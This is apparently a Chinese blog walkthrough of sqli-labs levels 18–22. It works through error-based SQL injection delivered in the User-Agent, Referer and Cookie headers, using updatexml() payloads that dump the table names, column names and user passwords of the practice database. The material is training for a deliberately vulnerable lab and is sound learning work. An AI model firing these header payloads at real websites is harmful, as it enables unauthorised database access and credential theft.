sqli-labs靶场18-22关(http头)

目录

less18(user-agent)

less19(referer)

less20(cookie)

less21(cookie)

less22(cookie)



less18(user-agent)

这里尝试了多次注入,均没有成功。

但是发现,输入正确的用户名和密码后,会返回user-agent:

User-Agent: a or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1=1------未成功注入

User-Agent: a**'or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1='**1------成功注入,判断为单引号闭合!

User-Agent: a' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1------爆数据库

这里最后不能用--+和#来截断后面的sql语句,因此使用'1'='1来闭合后面的单引号:

User-Agent: a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1------爆表

User-Agent: a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) and '1'='1------爆字段名

User-Agent:a' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1) and '1'='1------爆数据



less19(referer)

同样的,只是这里是返回的是referer字段,抓包修改referer字段:

Referer:a or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1=1------注入失败

Referer:a' or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1='1------判断为单引号闭合

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1------爆表

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) and '1'='1------爆字段名

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1) and '1'='1------爆数据



less20(cookie)

输入正确的用户名和密码后,会返回cookie内容:

抓包,在http history中,找到这个数据包,是GET型传参的数据包:

尝试对数据包中的cookie字段进行注入:

cookie:uname=admin'报错,admin'#不报错,判断为单引号闭合:

并且要么报错,要么显示cookie,那么就利用报错注入:

Cookie: uname=admin' and updatexml(1,concat(0x7e,(database()),0x7e),1)#------爆数据库:

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#爆表名

Cookie: uname=admin'

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)#------爆字段名

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#------爆数据



less21(cookie)

和20关差不多,只是这里对cookie返回的内容进行了base64加密,并且是')闭合:

抓包,在history中,找到该页面:

只需要在20关的基础上,对传参的内容进行base64编码,就行了:

同样的方法,只是这关判断为')闭合,不在赘述。



less22(cookie)

和20、21两关一样的道理,只是这关是双引号闭合,同样的方法,不在赘述。



相关推荐
老衲提灯找美女13 分钟前
MySQL的增删改查功能合集
数据库·mysql·增删改查·增删改查详细用法
SelectDB1 小时前
Apache Doris 4.0.1 版本正式发布
数据库·apache
Doro再努力1 小时前
MySQL数据库07:分组查询与分类查询
数据库·mysql
Elastic 中国社区官方博客2 小时前
Elasticsearch:如何为 Elastic Stack 部署 E5 模型 - 下载及隔离环境
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
间彧3 小时前
SpringBoot + MyBatis-Plus + Dynamic-Datasource 读写分离完整指南
数据库·后端
静若繁花_jingjing3 小时前
NoSql数据库概念
数据库·nosql
间彧3 小时前
除了AOP切面,还有哪些更灵活的数据源切换策略?比如基于注解或自定义路由规则
数据库·后端
弥生赞歌3 小时前
Mysql作业四
数据库·mysql
间彧3 小时前
🏗️ Spring Boot 3实现MySQL读写分离完整指南
数据库
PawSQL4 小时前
智能SQL优化工具 PawSQL 月度更新 | 2025年10月
数据库·人工智能·sql·sql优化·pawsql